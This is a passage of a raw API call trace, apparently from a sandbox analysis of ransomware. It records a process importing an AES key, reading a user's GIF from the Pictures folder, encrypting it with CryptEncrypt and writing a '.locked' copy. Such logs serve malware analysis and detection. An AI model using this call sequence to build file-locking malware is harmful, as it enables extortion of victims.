(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.446] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.447] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.447] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.447] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.448] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0137.448] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e021c8) returned 1 [0137.449] CryptImportKey (in: hProv=0x8e021c8, pbData=0x6b01b48, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e849f8) returned 1 [0137.449] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.449] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.449] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.449] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.449] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.450] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 0x20 [0137.450] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 0x20 [0137.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.450] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.450] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.450] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.451] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.451] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.451] GetFileType (hFile=0x764) returned 0x1 [0137.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.451] GetFileType (hFile=0x764) returned 0x1 [0137.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.451] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.452] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", lpFilePart=0x0) returned 0x33 [0137.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.452] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.452] GetFileType (hFile=0x778) returned 0x1 [0137.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.452] GetFileType (hFile=0x778) returned 0x1 [0137.452] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.452] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x6b16e9c | out: pbBuffer=0x6b16e9c) returned 1 [0137.453] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.453] CryptDuplicateKey (in: hKey=0x8e849f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e85378) returned 1 [0137.453] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.453] CryptSetKeyParam (hKey=0x8e85378, dwParam=0x4, pbData=0x6b18158*=0x1, dwFlags=0x0) returned 1 [0137.453] CryptSetKeyParam (hKey=0x8e85378, dwParam=0x1, pbData=0x6b18124, dwFlags=0x0) returned 1 [0137.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xdd0\x438\x242") returned 0x0 [0137.453] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.453] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.453] ReadFile (in: hFile=0x764, lpBuffer=0x6b1b6b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b1b6b4*, lpNumberOfBytesRead=0x99ae7a8*=0x8d27, lpOverlapped=0x0) returned 1 [0137.455] CryptEncrypt (in: hKey=0x8e85378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69364f8*, pdwDataLen=0x99ae79c*=0x8d20, dwBufLen=0x8d20 | out: pbData=0x69364f8*, pdwDataLen=0x99ae79c*=0x8d20) returned 1 [0137.455] WriteFile (in: hFile=0x778, lpBuffer=0x6921004*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6921004*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.456] WriteFile (in: hFile=0x778, lpBuffer=0x69374e4*, nNumberOfBytesToWrite=0x7d34, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69374e4*, lpNumberOfBytesWritten=0x99ae780*=0x7d34, lpOverlapped=0x0) returned 1 [0137.457] ReadFile (in: hFile=0x764, lpBuffer=0x69224e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69224e0*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.457] CryptEncrypt (in: hKey=0x8e85378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x693f23c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x693f23c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.457] CryptEncrypt (in: hKey=0x8e85378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x693f270*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x693f270*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.457] WriteFile (in: hFile=0x778, lpBuffer=0x6921004*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6921004*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.457] CloseHandle (hObject=0x778) returned 1 [0137.458] CloseHandle (hObject=0x764) returned 1 [0137.458] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.458] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.458] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.458] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.459] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 0x20 [0137.459] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.460] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.460] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.460] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.460] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.460] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.460] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.460] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.460] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.460] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.460] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.460] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.460] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.461] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.461] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.461] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.461] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.461] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 0x20 [0137.461] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.461] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.461] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.462] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.462] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif\\", lpFilePart=0x0) returned 0x2d [0137.462] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.462] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.462] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.462] CoTaskMemFree (pv=0x8eb8d30) [0137.463] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 0x20 [0137.463] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.463] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif"), fInfoLevelId=0x0, lpFileInformation=0x6950f04 | out: lpFileInformation=0x6950f04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d273b10, ftCreationTime.dwHighDateTime=0x1d4a16f, ftLastAccessTime.dwLowDateTime=0x24a26b50, ftLastAccessTime.dwHighDateTime=0x1d4a2c8, ftLastWriteTime.dwLowDateTime=0x24a26b50, ftLastWriteTime.dwHighDateTime=0x1d4a2c8, nFileSizeHigh=0x0, nFileSizeLow=0x8d27)) returned 1 [0137.464] SetThreadErrorMode 